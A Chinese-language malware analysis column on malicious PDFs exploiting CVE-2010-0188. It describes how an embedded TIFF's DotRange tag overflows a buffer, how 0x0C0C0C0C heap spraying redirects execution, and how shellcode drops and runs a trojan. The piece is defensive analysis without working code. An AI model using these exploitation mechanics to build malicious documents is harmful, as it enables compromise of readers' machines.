  • 13. Ⅱ. 专栏  利用 PDF 漏洞的恶意代码的猖獗 从 2007 年开始出现的恶意利用 Adobe Acrobat Reader 漏洞,也就是 PDF 漏洞的攻 击经过 2008 年和 2009 年,正式成为了基于文件的攻击代表。今年也已上报了很多 PDF 漏洞,预测对恶意利用 PDF 漏洞的攻击方式也会不断增加。首先,看一下去年 7 月 发 表 的 Adobe Reader, Acrobat and Flash Player Remote Code Execution(CVE-2009-1862)漏洞。该漏洞虽是 Flash Player 上存在的漏洞,但 Adobe Acrobat Reader 上也安装有这个 Flash 引擎,所以被上报为其他 PDF 漏洞。 因此,由插入(Embedded)一个恶意的 Flash 文件到 PDF 文件内,可利用 Web 或 PDF 文件的多重攻击也是一个很有趣的案例。 本溪专栏中要提及的 CVE-2010-0188 漏洞1也是类似的。2006 年发表的 LibTIFF TiffFetchShortPair Remote Buffer Overflow (CVE-2006-3459) 漏洞是为了把 初期的 iPhone Jailbreak 而使用的。该漏洞是开放式源码库 libtiff 3.8.1 下存在的, 随之该库安装在 Adobe Reader 9.3.0 版本后,又一个 PDF 漏洞出现了。以插入 (embedded)TIFF(Tag Image File Format)文件到 PDF 文件的方法,通过 PDF 的攻 击变得可能。像这样,随着通过一个漏洞,影响到多数应用程序的的案例的增加,使 用开放式源码库或为了兼容性和功能扩展安装相同的引擎时,对于发生相同问题的可 能 性 , 有 必 要 了 解 一 下 。 该漏洞通过 MS 社的 Malware Protection Center 博客开始扩散,实际上与现有的基于文件的攻击一样,以社会工学攻击方式— E-mail 的附件形式散布。 1 http://www.adobe.com/support/security/bulletins/apsb10-07.html
  • 14. [图 13] 散布有漏洞的 PDF 文件的邮件 (出处 : Crontab) 那么开始正式了解一下 CVE-2010-0188 这个漏洞。该专栏中考虑到基于文件的攻 击,先通过静态(Static)分析预测,再通过动态(Dynamic)分析进一步验证。 1. 静态(Static) 分析 以前的恶意 PDF 文件不打开也可以看见内部没有加密的 JS 字符窜。但是,最近利用 多样的加密方法,把信息隐藏在内部,同时把鉴别 Java 脚本的 Java 脚本(/JS, /Javascript) 字 符 窜 也 加 密 处 理 , 这 样 加 深 了 分 析 与 监 测 的 难 度 。 因此,首先要解密压缩(/FlateDecode)数据流,然后进一步了解一下内部信息。
  • 15. 1 2 3 [图 14] 内部 JS 该 PDF 文件内隐藏如上图的压缩数据流形式的 JS。它使用了现有的 Web 攻击和 PDF 文 件攻击中常用到的 Heap-Spray 技巧。 ○ ShellCode(攻击者代码) + ○ Heap-Spraying 代码 + ○ 漏洞发生代码 1 2 3 真正发生漏洞的 exploit.tif 文件也存在与其他压缩流中,解压后以 Base64 解密,能 看到如下图所示的恶意 TIFF 形式的代码。 [图 15] 提取 [图 17] Base64 解密 那么,观察一下 TIFF 文件的内部。
  • 16. [图 16] exploit.tif 内部结构 实际上 exploit.tif 文件的内部存在上面介绍过的 CVE-2006- 3459 漏洞的原因之一的 DotRange(Tag ID: 0x0150)标记,DotRange Value 的数据部分大多数以 0C0C0C0C 值填满。0C0C0C0C 值也是在 Heap-Spray 作 为 ShellCode 位置的跳转地址经常用到的。那么,不用运行实际样本,只通过目前的 数据也可以预测文件的攻击情形。也许复制比解析 TIFF 文件的过程中分配的缓冲空间 更多的 DotRange Value 字符串作为堆,原来的返回地址(RET)或异常处理程序 (SEH)的地址会全部覆盖为 0X0C0C0C 值。随之,之后返回的过程中,通过 JS 程 序流程改向已经填满 0X0C0C0C0C 的地址,攻击者的 ShellCode 预测有运行结构。 2. 动态(Dynamic) 分析 现在以跟进代码段验证是否像之前预期的流程一样运行。运行恶意的 PDF 文件后,如 下图所示,AcroForm.api 的 TIFFReadire tory 程序反复执行,解析 exploit.tif 文件的 数据,这时,通过 memcpy() 函数复制 DotRange Value 值作为堆。
  • 17. [图 17] 堆栈溢出函数 观察数据复制前与后的堆栈的话,可以看出 RET 地址超过原堆栈的本地缓冲区空间覆 盖了 0X0C0C0C0C 值。 [图 18] 栈结构 函数返回之前通过 JS 固定的堆地址已由攻击者的 Shellcode 填满,堆内存地址中在 0X0C0C0C0C 设 BP(BreakPoint)后,被覆盖的 RET 地址值被引用并且可以确认跳转 到该地址。从跳转的地址经过垃圾代码 NOP,接着实际攻击者的 Shellcode 如同下图 就执行了。
  • 18. [图 19] 运行 Shellcode [图 20] Shellcode 解密后 实际的 Shellcode 经过内部的解密程序从 PDF 文件内部释放 a.exe(Win-Trojan/Q 文 件到 C: 盘并运行。如同下图,
  • 19. [图 21] 恶意的 PDF 动作的进程 不仅是这次的漏洞,至今上报的很多 PDF 漏洞为了成功的攻击,直接或者间接性地利 用了 JS。随之根据情况,以解除 Adobe Reader 的“JavaScript 可用(J)”选项可减少 临时的损失。但是,最重要的还是使用反病毒软件和它最新的安全补丁。